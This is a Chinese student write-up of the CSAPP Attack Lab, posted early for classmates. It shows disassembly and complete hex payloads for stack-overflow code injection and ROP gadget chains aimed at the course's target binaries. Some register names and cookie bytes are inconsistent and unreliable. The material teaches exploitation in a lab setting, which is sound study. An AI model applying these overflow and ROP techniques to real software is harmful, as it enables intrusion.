1. 程式人生 > >CSAPP_attack_lab緩衝區溢位攻擊良

CSAPP_attack_lab緩衝區溢位攻擊良

Attack lab 實驗報告
//又是提前兩天上傳
//張延鬆老師班的同學注意(手動滑稽)

目錄:
綜述
攻擊方式闡述
攻擊背景闡述
函式分析
Touch1函式
Touch2函式
Touch3函式
解決方案
PartⅠ
Touch1
Touch2
Touch3
Part Ⅱ
Touch1
Touch2
Touch3
正文:
綜述:
攻擊方式綜述
本實驗被分成了五個部分,使用兩種方式一共共計三個函式
兩種攻擊方式如下:
一種是通過注入程式碼的方式進行攻擊:

這種攻擊方式建立在軟體作者對於緩衝區別有任何保護模式的前提下,通過書如果一個超長的字串:字串代表了你想要讓程式執行的操作的機器程式碼本身

第二種被稱為ROP攻擊:

ROP攻擊基於軟體作者已經通過了隨機化棧或者金絲雀發等方式對於攻擊有了一定的防護,我們只能通過諸如一段程式碼,這段程式碼代表的是我想讓程式走向該工程的另外一些區域,通過另外一些區域機器指令的拼接最終完成我們想要的操作
背景綜述:
大背景:
我們首先要有函式test()
接下來的所有操作都進行在test()函式中
將test函式翻譯成C語言:
void test()
{
Int val;
Val = getbuf();
printf(“NO explit. Getbuf returned 0x%x\n”, val);
}
可以看出test函式中呼叫了getbuf函式
Getbuf函式內部含有一個Gets()函式
Gets()函式的唯一功能就是讀入一個超長的字串
在程式執行的過程中,先進入test函式
在其中呼叫了getbuf函式
Getbuf函式中呼叫Get函式
Gets使得我們有機會注入一個超長的字串進去
我們所有任務的時間都發生在getbuf函式的返回這一程序中
我們的目的是使得getbuf不再正常返回,而是分別進入:
Touch1或touch2或touch2中間
傳入適當的引數
使得這三個函式中的名為callq 401c8d 的語句被執行(也就是函式被呼叫)
函式分析
Touch1函式
Touch1函式是一個十分簡單的函式,只需要進入touch1函式就可以使得攻擊成功
Touch2函式
Touch2函式需要摻傳入一個無符號整型,這個整形儲存在%edi上
要求整形的數值和函式值相等才能夠
直接./craget可以看到cookie的具體數值
Touch2函式翻譯如下:

void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol /
if (val == cookie) {
printf(“Touch2!: You called touch2(0x%.8x)\n”, val);
validate(2);
} else {
printf(“Misfire: You called touch2(0x%.8x)\n”, val);
fail(2);
}
exit(0);
}
Touch 3函式
這個函式需要傳入一個字串地址,這個字串是cookie這個數字在十六進位制地表示下,逐位轉化成ASCII碼
裡面呼叫函式:hexmatch的唯一作用是判斷輸入的這個char

指向的地址和cookie本身所轉化的是否相等
void touch3(char *sval)
{
if (hexmatch(cookie, sval)) {
printf(“Touch3!: You called touch3(”%s")\n", sval);
validate(3);
} else {
printf(“Misfire: You called touch3(”%s")\n", sval);
fail(3);
}
exit(0);
}]2
解決方案
PartⅠ
Touch1:
00000000004017a8
4017a8: 48 83 ec 08 sub $0x8,%rsp
4017ac: c7 05 46 2d 20 00 01 movl $0x1,0x202d46(%rip) # 6044fc
4017b3: 00 00 00
4017b6: bf f8 2e 40 00 mov $0x402ef8,%edi
4017bb: e8 90 f4 ff ff callq 400c50 [email protected]
4017c0: bf 01 00 00 00 mov $0x1,%edi
4017c5: e8 ef 03 00 00 callq 401bb9
4017ca: bf 00 00 00 00 mov $0x0,%edi
4017cf: e8 1c f6 ff ff callq 400df0 [email protected]
可見只需要填滿緩衝區後將return address改為touc1的地址就好:
0000000000401792 :
401792: 48 83 ec 18 sub $0x18,%rsp
401796: 48 89 e7 mov %rsp,%rdi
401799: e8 2c 02 00 00 callq 4019ca
40179e: b8 01 00 00 00 mov $0x1,%eax
4017a3: 48 83 c4 18 add $0x18,%rsp
4017a7: c3 retq
可以知道getbuf的緩衝區大小是24
注入的東西
0e 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 17 40 00 00 00 00 00

解決
Touch 2
00000000004017d4 :
4017d4: 48 83 ec 08 sub $0x8,%rsp
4017d8: 89 fe mov %edi,%esi
4017da: c7 05 18 2d 20 00 02 movl $0x2,0x202d18(%rip) # 6044fc
4017e1: 00 00 00
4017e4: 3b 3d 1a 2d 20 00 cmp 0x202d1a(%rip),%edi # 604504
4017ea: 75 1b jne 401807 <touch2+0x33>
4017ec: bf 20 2f 40 00 mov $0x402f20,%edi
4017f1: b8 00 00 00 00 mov $0x0,%eax
4017f6: e8 85 f4 ff ff callq 400c80 [email protected]
4017fb: bf 02 00 00 00 mov $0x2,%edi
401800: e8 b4 03 00 00 callq 401bb9
401805: eb 19 jmp 401820 <touch2+0x4c>
401807: bf 48 2f 40 00 mov $0x402f48,%edi
40180c: b8 00 00 00 00 mov $0x0,%eax
401811: e8 6a f4 ff ff callq 400c80 [email protected]
401816: bf 02 00 00 00 mov $0x2,%edi
40181b: e8 4b 04 00 00 callq 401c6b
401820: bf 00 00 00 00 mov $0x0,%edi
401825: e8 c6 f5 ff ff callq 400df0 [email protected]

[[email protected] target282]$ ./ctarget
Cookie: 0x335bd9f1
Type string:
可得到cookie的函式值

我們要
movq 0x335bd9f1,%rdi
pushq 00000000004017d4
Retq
首先要填充緩衝區
填充之後修改返回值到現在%rsp所在的位置
也就是活緩衝區正上方
之後開始執行我們注入到緩衝區的程式碼,也就是上面三條程式碼的機器形式
最終得到結果
48 c7 c7 f1 d9 5b 33 68
d4 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
68 fb 62 55 00 00 00 00

Touch 3
00000000004018a8 :
4018a8: 53 push %rbx
4018a9: 48 89 fb mov %rdi,%rbx
4018ac: c7 05 46 2c 20 00 03 movl $0x3,0x202c46(%rip) # 6044fc
4018b3: 00 00 00
4018b6: 48 89 fe mov %rdi,%rsi
4018b9: 8b 3d 45 2c 20 00 mov 0x202c45(%rip),%edi # 604504
4018bf: e8 66 ff ff ff callq 40182a
4018c4: 85 c0 test %eax,%eax
4018c6: 74 1e je 4018e6 <touch3+0x3e>
4018c8: 48 89 de mov %rbx,%rsi
4018cb: bf 70 2f 40 00 mov $0x402f70,%edi
4018d0: b8 00 00 00 00 mov $0x0,%eax
4018d5: e8 a6 f3 ff ff callq 400c80 [email protected]
4018da: bf 03 00 00 00 mov $0x3,%edi
4018df: e8 d5 02 00 00 callq 401bb9
4018e4: eb 1c jmp 401902 <touch3+0x5a>
4018e6: 48 89 de mov %rbx,%rsi
4018e9: bf 98 2f 40 00 mov $0x402f98,%edi
4018ee: b8 00 00 00 00 mov $0x0,%eax
4018f3: e8 88 f3 ff ff callq 400c80 [email protected]
4018f8: bf 03 00 00 00 mov $0x3,%edi
4018fd: e8 69 03 00 00 callq 401c6b
401902: bf 00 00 00 00 mov $0x0,%edi
401907: e8 e4 f4 ff ff callq 400df0 [email protected]
我們需要:
有一個在緩衝區中諸如程式碼:
使得%rdi顯示的是cookie的首地址
將cookie陣列存放到緩衝區上(緩衝區為24+return addresss是8 = 32)
這個時候和%rsp不叫cookie首地址偏移了24位置
攻擊程式碼:
48 c7 c7 88 fb 62 55 68
a8 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
//緩衝區的命令
68 fb 62 55 00 00 00 00
//return address
34 33 35 62 64 39 66 31
// cookie

Part 2
Touch1:
Touch1由於沒有注入程式碼的操作,所以所做的事情和第一關中相同,很輕鬆得到解決
Touch2:
回顧我們的Touch2函式,我們要執行的操作仍然是:
movq 0x335bd9f1,%rdi
pushq 00000000004017d4
Retq
但是由於我們要進行ROP攻擊,所以不能直接諸如程式碼,而是應該先進行快取區填充,之後修改return address,指引程式控制流到命令所對應的機器程式碼處,執行後返回,再執行緊接著的下一條,再返回
再farm.c中,我們可以看到一些短小的函式,這些函式正是我們想要的,我們通過:
給出彙編指令
翻譯成機器程式碼
尋找機器程式碼在小函式內的位置——ret
這樣就可以得到我們所需要的指令
這一次我麼需要的彙編指令是:
Popq %eax
//中間寫入cookie的值使得正好將cookie pop到%eax
Movq %eax %edx

最後我們還是要進到touch2中間
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
52 19 40 00 00 00 00 00
f1 d9 5b 33 00 00 00 00
37 19 40 00 00 00 00 00
d4 17 40 00 00 00 00 00

Touch3
解決方案和touch3一樣
基本做法和touch2相同
答案為:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b4 19 40 00 00 00 00 00
37 19 40 00 00 00 00 00
52 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
19 1a 40 00 00 00 00 00
8d 19 40 00 00 00 00 00
2b 1a 40 00 00 00 00 00
72 19 40 00 00 00 00 00
37 19 40 00 00 00 00 00
a8 18 40 00 00 00 00 00
33 33 35 62 64 39 66 31